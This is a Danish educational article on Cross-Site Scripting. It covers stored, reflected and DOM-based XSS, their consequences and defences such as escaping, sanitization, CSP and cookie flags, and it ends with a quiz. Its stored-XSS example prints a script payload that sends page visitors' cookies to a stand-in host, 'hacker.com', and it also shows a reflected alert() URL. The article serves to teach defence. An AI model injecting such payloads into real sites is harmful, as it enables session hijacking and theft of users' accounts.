Cross-Site Scripting (XSS)

Hvad er Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) er en udbredt sikkerhedssårbarhed, der typisk findes i webapplikationer. Sårbarheden opstår, når en applikation inkluderer ondsindet data i en webside, der sendes til brugeren, uden at validere eller indkode dataene tilstrækkeligt. Dette gør det muligt for en angriber at udføre ondsindede scripts i ofrets browser.

I modsætning til mange andre angreb, der er rettet direkte mod webserveren eller databasen, er XSS et angreb rettet direkte mod brugerne af en webapplikation.

Hvordan fungerer XSS?

Grundlæggende udnytter XSS den tillid, en brugers browser har til en bestemt hjemmeside. Når browseren modtager et script fra et websted, der anses for at være legitimt, eksekverer den scriptet under den antagelse, at det er sikkert.

Kodesprog, der oftest misbruges i XSS-angreb, er JavaScript, men det kan også inkludere HTML, VBScript eller Flash. Formålet varierer typisk fra at stjæle session-cookies og kapre brugerkonti til at distribuere malware eller udføre uautoriserede handlinger på vegne af brugeren.

De Tre Hovedtyper af XSS

Der findes primært tre forskellige kategorier af Cross-Site Scripting:

1. Stored XSS (Vedvarende XSS)

Dette er den farligste type XSS. Her bliver det ondsindede script permanent gemt på serverens database (f.eks. i et kommentarfelt, en forum-post eller brugerprofil-beskrivelse). Når en intetanende bruger senere beder om at få vist den inficerede side, trækker webserveren det gemte ondsindede payload ud af databasen og serverer det for brugerens browser, som eksekverer koden.

Eksempel: En angriber skriver en kommentar på en blog:

<script>fetch('http://hacker.com/steal?cookie='+document.cookie)</script>

Hvis ikke kommentaren bliver renset ordentligt af serveren, vil alle besøgende på dette blogindlæg sende deres cookies direkte til hackerens server, ofte uden at vide det.

2. Reflected XSS (Ikke-vedvarende XSS)

I Reflected XSS bliver det ondsindede payload ikke gemt i databasen, men derimod “spejlet” (reflected) tilbage fra webserveren i et enkeltstående HTTP-svar. Dette sker ofte via URL-parametre eller formdata. Angriberen skal narre offeret (f.eks. via en phishing-e-mail) til at klikke på et præcist udformet link, der indeholder det ondsindede payload.

Eksempel: Et søgefelt der gengiver brugerens søgeforespørgsel direkte på siden: http://eksempel.dk/search?q=<script>alert('Hacked')</script>

Når offeret klikker på linket, bliver scriptet modtaget af serveren, sendt direkte tilbage i HTTP-responset og eksekveret i offerets browser.

3. DOM-based XSS (DOM XSS)

Denne type sårbarhed opstår fuldstændig på klientsiden (i brugerens browser), hvor webapplikationens JavaScript manipulerer Document Object Model (DOM) baseret på bruger-kontrolleret input fra f.eks. URL’en uden at rense det korrekt. Her er webserveren ofte slet ikke involveret i at behandle payloadet.

Eksempel: En applikation læser data fra window.location.hash (alt efter # i URL’en) og indsætter det direkte på siden med document.getElementById("greeting").innerHTML = .... Hvis URL’en indeholder ondsindet kode efter #, bliver det eksekveret via DOM.

Konsekvenser af et XSS-angreb

Succesfulde XSS-angreb kan have alvorlige konsekvenser for både brugere og virksomheder:

  • Session Hijacking: Hvis session cookies stjæles, kan angriberen logge ind på offerets konto uden at kende adgangskoden.
  • Identitetstyveri: Angriberen kan udføre handlinger på vegne af den inficerede bruger, f.eks. at overføre penge, ændre adgangskoder eller sende falske beskeder.
  • Defacement: Websidens visuelle udseende kan ændres permanent eller midlertidigt for at vise propaganda eller vildledende information.
  • Keylogging og Malware: Indsamling af brugerens input på tastaturet eller distribution af ondsindet software til brugernes computere.

Sådan forebygger og afværger man XSS

Forebyggelse af XSS kræver en metodisk tilgang til sikker udvikling, hvor man aldrig har tillid til data udefra (kendt som “Zero Trust” omkring bruger-input).

1. Data Indkodning (Escaping)

Alle data, der modtages, skal escapes/indkodes, før det præsenteres i brugerens browser. Hvis man viser “farlige” tegn, skal de konverteres til deres sikre HTML-entiteter.

  • < bliver til &lt;
  • > bliver til &gt;
  • " bliver til &quot;
  • ' bliver til &#x27;
  • & bliver til &amp;

Moderne frameworks (som React, Angular og Vue) håndterer typisk denne escapening automatisk.

2. Validering og Rengøring af Input (Sanitization)

Mens indkodning handler om, hvordan data vises, handler inputvalidering om, hvilken data der overhovedet er tilladt at modtage. Brug “Whitelist” (tilladte præcise værdier) frem for “Blacklist”. Vil man f.eks. tillade brugerne at benytte simpel formatering i et forum-indlæg, kan et dedikeret sanitization-bibliotek (som DOMPurify) anvendes til at fjerne ondsindet <script> og fejlbehæftet HTML, men bevare sikre tags som <b> eller <i>.

3. Implementering af Content Security Policy (CSP)

CSP (Content Security Policy) er et ekstra lag af sikkerhed i form af en HTTP-header, der drastisk reducerer konsekvensen af XSS-angreb. CSP lader server-administratoren deklarere hvilke dynamiske ressourcer – herunder scripts, iframes og styles – der er tilladt at blive indlæst og eksekveret af browseren. En stærk CSP kan specifikt forhindre eksekvering af inline-scripts og blokere eksterne scripts fra ikke-godkendte domæner.

4. Sikring af Cookies

For at beskytte mod session hijacking via XSS bør man altid sikre sine authentication-cookies ved hjælp af to kritiske flag:

  • HttpOnly: Sikrer, at cookies ikke kan tilgås fra JavaScript (eksempelvis via document.cookie). Det betyder, at selv hvis et XSS-angreb lykkes, kan de ikke stjæle din sessions-cookie med scripts.
  • Secure: Sikrer, at cookies kun sendes over krypterede HTTPS-forbindelser.

Konklusion

Cross-Site Scripting er en formidabel trussel, der kræver konstant fokus fra sikkerhedsorienterede udviklere. Et enkelt overset output-felt kan åbne døren for fuldstændig kompromittering af brugeres adgang og data. Men ved at anvende defense in depth – altså faste procedurer for både inputvalidering, konsekvent indkodning, strikte indstillinger af cookies (HttpOnly) og robuste Content Security Policies – kan risikoen for XSS nedbringes til et absolut minimum.

Kilder

> Quiz: Test din viden

1. Hvilken type XSS er farligst, fordi scriptet gemmes permanent i databasen?

2. Hvad kræver Reflected XSS, at offeret gør?

3. Hvilket programmeringssprog misbruges mest i XSS-angreb?

4. Hvad er forkortelsen for Cross-Site Scripting?